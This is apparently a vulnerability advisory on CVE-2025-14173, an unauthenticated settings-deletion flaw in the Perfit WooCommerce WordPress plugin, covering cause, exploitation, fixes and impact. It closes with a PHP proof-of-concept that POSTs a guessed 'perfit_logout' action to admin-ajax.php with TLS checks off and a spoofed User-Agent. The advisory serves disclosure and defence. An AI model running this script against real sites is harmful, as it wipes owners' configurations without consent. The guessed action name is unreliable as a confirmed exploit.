Atomic Edge analysis of CVE-2025-14173 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Perfit WooCommerce WordPress plugin, version 1.0.1 and earlier. It allows unauthenticated attackers to delete arbitrary plugin settings, leading to a loss of configuration integrity. The CVSS score of 5.3 (Medium) reflects the attack’s low complexity and network accessibility, but limited impact on confidentiality and availability.
Atomic Edge research identifies the root cause as an insufficient authorization check on a function hooked to the `admin_init` action. The description states the `logout` function, called via the `actions` function, lacks proper validation. This pattern suggests a WordPress admin-ajax or admin-post handler, or a direct function call triggered by a GET/POST parameter, was registered without a capability check or nonce verification. These conclusions are inferred from the CWE-862 classification and the standard WordPress hook pattern described.
Exploitation involves sending a crafted HTTP request to a WordPress administrative endpoint. The `action` parameter triggers the vulnerable `logout` function. Based on common WordPress plugin architecture, the likely endpoint is `/wp-admin/admin-ajax.php` or `/wp-admin/admin-post.php`. An attacker would send a GET or POST request with the parameter `action` set to a value like `perfit_logout` or a similar plugin-specific action hook. This request would execute the function and delete plugin settings without authentication.
Remediation requires implementing proper authorization checks. The plugin must verify the current user has appropriate administrative capabilities, typically `manage_options`, before executing the `logout` or `actions` function. Additionally, a WordPress nonce should be included and validated to ensure the request originates from a legitimate user session. The function should also be hooked to a more appropriate action, not the broadly accessible `admin_init`.
The impact of successful exploitation is the unauthorized deletion of plugin configuration settings. This can disrupt the plugin’s functionality, break integrations with the Perfit service, and necessitate manual reconfiguration by an administrator. Atomic Edge analysis confirms this is an integrity attack with no direct impact on confidentiality or system availability, aligning with the CVSS vector’s scoring for low integrity impact.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14173 - Perfit WooCommerce <= 1.0.1 - Missing Authorization to Unauthenticated Arbitrary Plugin Settings Deletion
<?php
/**
* Proof of Concept for CVE-2025-14173.
* This script attempts to trigger the vulnerable 'logout' function to delete plugin settings.
* The exact action hook name is inferred from the plugin slug and vulnerability description.
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php (common for plugin AJAX handlers).
* 2. The action parameter value is derived from the plugin slug ('perfit_woocommerce').
* 3. The request method is POST (common for state-changing actions).
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The action parameter is critical. Common patterns include 'perfit_logout', 'perfit_actions', or plugin-prefixed variants.
$post_data = array(
'action' => 'perfit_logout' // This value is an educated guess based on the description.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Set a realistic User-Agent
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Sent POST request to: $target_urln";
echo "Payload: " . http_build_query($post_data) . "n";
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// Interpretation: A 200 OK response, possibly with a success message or empty, may indicate the action executed.
// A 403 Forbidden or redirect to login suggests the endpoint may be protected in later versions or the action name is incorrect.
?>
